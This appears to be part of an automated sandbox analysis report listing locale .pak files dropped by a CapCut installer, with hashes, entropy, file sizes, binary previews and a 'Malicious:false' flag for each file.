                                                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\am.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):613642
                                                                                                                                                                                                                                                                        Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                                        MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                                        SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                                        SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                                        SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ar.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):671738
                                                                                                                                                                                                                                                                        Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                                        MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                                        SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                                        SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                                        SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\bg.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):701716
                                                                                                                                                                                                                                                                        Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                                        MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                                        SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                                        SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                                        SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\bn.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):904943
                                                                                                                                                                                                                                                                        Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                                        MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                                        SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                                        SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                                        SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ca.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):426906
                                                                                                                                                                                                                                                                        Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                                        MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                                        SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                                        SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                                        SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\cs.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):436202
                                                                                                                                                                                                                                                                        Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                                        MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                                        SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                                        SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                                        SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\da.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):396104
                                                                                                                                                                                                                                                                        Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                                        MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                                        SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                                        SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                                        SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\de.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):424277
                                                                                                                                                                                                                                                                        Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                                        MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                                        SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                                        SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                                        SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\el.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):769050
                                                                                                                                                                                                                                                                        Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                                        MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                                        SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                                        SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                                        SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\en-GB.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):344606
                                                                                                                                                                                                                                                                        Entropy (8bit):5.5169703217013675
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:80kjE55JcUnMP9egFXwqfaYnT9Xa5alSeBNdg:80kQJZnM1XwWT05YScg
                                                                                                                                                                                                                                                                        MD5:D59E613E8F17BDAFD00E0E31E1520D1F
                                                                                                                                                                                                                                                                        SHA1:529017D57C4EFED1D768AB52E5A2BC929FDFB97C
                                                                                                                                                                                                                                                                        SHA-256:90E585F101CF0BB77091A9A9A28812694CEE708421CE4908302BBD1BC24AC6FD
                                                                                                                                                                                                                                                                        SHA-512:29FF3D42E5D0229F3F17BC0ED6576C147D5C61CE2BD9A2E658A222B75D993230DE3CE35CA6B06F5AFA9EA44CFC67817A30A87F4FAF8DC3A5C883B6EE30F87210
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........h.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w...........................................................................................................3.....;.....E.....c.....t.....v.....z...........................................................+.....:.....T.....g.....k.....q...................................................................................,.....:.....S.....h.....{.......................................................................+.....5.....A.....X.....h.................................................................(.....=.....R.....f.....m.....p.....q.....x..................................................... .....P.....].....h.......................................................................-.....D.....l....................................... .....".....%.....(.....*.....+.....,./.....@.../.N...0.W...1.....3.....4.....5.....6.....7.....8.....9.(...;.9...<.A...=.L...>.a...?.i...@.x...A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\en-US.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):347111
                                                                                                                                                                                                                                                                        Entropy (8bit):5.508989875739037
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:xiLqIY2MuZYLMMP9ecGmM8faYdY4K55TiSbn8vMwS:xiLqIp34MM+mM0Y55eSKMwS
                                                                                                                                                                                                                                                                        MD5:5E3813E616A101E4A169B05F40879A62
                                                                                                                                                                                                                                                                        SHA1:615E4D94F69625DDA81DFAEC7F14E9EE320A2884
                                                                                                                                                                                                                                                                        SHA-256:4D207C5C202C19C4DACA3FDDB2AE4F747F943A8FAF86A947EEF580E2F2AEE687
                                                                                                                                                                                                                                                                        SHA-512:764A271A9CFB674CCE41EE7AED0AD75F640CE869EFD3C865D1B2D046C9638F4E8D9863A386EBA098F5DCEDD20EA98BAD8BCA158B68EB4BDD606D683F31227594
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........:.h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................6.....C.....R.....b.....i.....r.................................................................#...........>.....E.....Q.....l.....~.................................................................2.....:.....F.....S.....W.....Z.....`.....p...................................................................................:.....A.....P...........................................................'.....5.....H.....K.....\.....l.....|...................................................................................E.....m.....t.......................................................................0.....I.....m......................................................... .....".....%.3...(.J...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.J...7.Z...8.o...9.|...;.....<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\es-419.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):421147
                                                                                                                                                                                                                                                                        Entropy (8bit):5.3798866108688905
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:34e5fql0vt1s9zjzVMY/6+yN9d8piKkGp2Ioiw/QbuOXV5blUB0GLF96RRIHKxgY:34e5Sktm92Yfhpjq+5wLF96oSdc4
                                                                                                                                                                                                                                                                        MD5:7F6696CC1E71F84D9EC24E9DC7BD6345
                                                                                                                                                                                                                                                                        SHA1:36C1C44404EE48FC742B79173F2C7699E1E0301F
                                                                                                                                                                                                                                                                        SHA-256:D1F17508F3A0106848C48A240D49A943130B14BD0FEB5ED7AE89605C7B7017D1
                                                                                                                                                                                                                                                                        SHA-512:B226F94F00978F87B7915004A13CDBD23DE2401A8AFAA2517498538967DF89B735F8ECC46870C92E3022CAC795218A60AD2B8FFF1EFAD9FEEA4EC193704A568A
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........b...h.&...i./...j.;...k.J...l.U...n.]...o.b...p.o...r.u...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....c.....x.................................................................I.....c.....k.....y............................................... .....%.....-.....?.....c.....t...........................................................2.....M.....d...............................................#.....6.....E.....W.....o.....w.........................................B.....N.....a.....m...........................................................$.....'.....(.....1.....:.....C.....J.....[.................2.....:.........................................+.....6.....?.....D.....]...................................@.....Y....._.....g.....u............... .....".....%.....(.....*.....+.....,.<.....b.../.....0.....1.....3.....4.....5.....6.[...7.m...8.....9.....;.....<.....=.....>.....?.....@.....A.1...C.X...D.b.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\es.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):421332
                                                                                                                                                                                                                                                                        Entropy (8bit):5.349883254359391
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:fILAyMcQXU0+/3IgsC5pN+v6Idj3J5Orj7FQoz7L66PZqS:ALAyNQCsupUv6gj3J5OrmoznGS
                                                                                                                                                                                                                                                                        MD5:A36992D320A88002697DA97CD6A4F251
                                                                                                                                                                                                                                                                        SHA1:C1F88F391A40CCF2B8A7B5689320C63D6D42935F
                                                                                                                                                                                                                                                                        SHA-256:C5566B661675B613D69A507CBF98768BC6305B80E6893DC59651A4BE4263F39D
                                                                                                                                                                                                                                                                        SHA-512:9719709229A4E8F63247B3EFE004ECFEB5127F5A885234A5F78EE2B368F9E6C44EB68A071E26086E02AA0E61798B7E7B9311D35725D3409FFC0E740F3AA3B9B5
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........Z...h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................:.....M.....].....r...........................................................(.....G.....a.....i.....w.....................................................!.....).....;.....N....._.................................................................3.....S.....}............................................... .....-.....>.....V.....^.....o...................................5.....@.....J.....V.....h.............................................................................'.....0.....7.....H.................3.....;.........................................+.....6.....B.....G....._.........................................G.....M.....U.....c............... .....".....%.....(.....*.....+.....,.).....C.../.]...0.d...1.....3.....4.....5.....6.6...7.G...8.\...9.n...;.....<.....=.....>.....?.....@.....A.....C.1...D.;.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\et.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):380687
                                                                                                                                                                                                                                                                        Entropy (8bit):5.464870724176939
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:2Mg++J/xRN0JLnrC4HFJbT/RauiQ/G5LjR43f7LQkPQW:2MmJnq7DG5LjQ
                                                                                                                                                                                                                                                                        MD5:A94E1775F91EA8622F82AE5AB5BA6765
                                                                                                                                                                                                                                                                        SHA1:FF17ACCDD83AC7FCC630E9141E9114DA7DE16FDB
                                                                                                                                                                                                                                                                        SHA-256:1606B94AEF97047863481928624214B7E0EC2F1E34EC48A117965B928E009163
                                                                                                                                                                                                                                                                        SHA-512:A2575D2BD50494310E8EF9C77D6C1749420DFBE17A91D724984DF025C47601976AF7D971ECAE988C99723D53F240E1A6B3B7650A17F3B845E3DAEEFAAF9FE9B9
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....l.....|...............................................,.....B.....D.....H.....p.................................................................5.....B.....H.....P.....^.....m.....v.......................................................................-.....F.....Z.....o.......................................................................0.....=.....W.....e.................................................................-.....B.....V.....m.....t.....w.....x...............................................U.....[...............................................$.....).....,.....<.....b.....x.........................................$.....6.....O.....Z... .d...".w...%.....(.....*.....+.....,....... .../.8...0.E...1.n...3.y...4.....5.....6.....7.....8.....9.+...;.>...<.K...=.T...>.g...?.o...@.~...A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\fa.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):622184
                                                                                                                                                                                                                                                                        Entropy (8bit):5.029655615738747
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:Kxw5iX9nuyaXTfwHxwNUWGOGfStQEvy1zeItDmNtua/1wMTAKzIxRAQiHedNu36/:Kxw5YuyaXTfwRwNUWGOGfStQEvy1zeIR
                                                                                                                                                                                                                                                                        MD5:9D273AF70EAFD1B5D41F157DBFB94FDC
                                                                                                                                                                                                                                                                        SHA1:DA98BDE34B59976D4514FF518BD977A713EA4F2E
                                                                                                                                                                                                                                                                        SHA-256:319D1E20150D4E3F496309BA82FCE850E91378EE4B0C7119A003A510B14F878B
                                                                                                                                                                                                                                                                        SHA-512:0A892071BEA92CC7F1A914654BC4F9DA6B9C08E3CB29BB41E9094F6120DDC7A08A257C0D2B475C98E7CDCF604830E582CF2A538CC184056207F196FFC43F29AD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.z...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....p.....u.............................,.....5.....].....k.....u...................................A.....p.....v...................................E.....`.........................................T.....y.....................................................8.....W.......................+.....F.....N.....V.....].....g.....x.............................+.....B....._.............................3.....B.....\.....r.........................................-.....J.....Q.....T.....e.....v.....................................................s............................./.....7.....J.....V.....b.......................$.....J.....w...................................G.....Z... .m...".....%.....(.....*.(...+.+...,.I.....m.../.....0.....1.....3.....4.+...5._...6.....7.....8.....9.G...;.W...<.i...=.}...>.....?.....@.....A.....C.V...D.}...E...

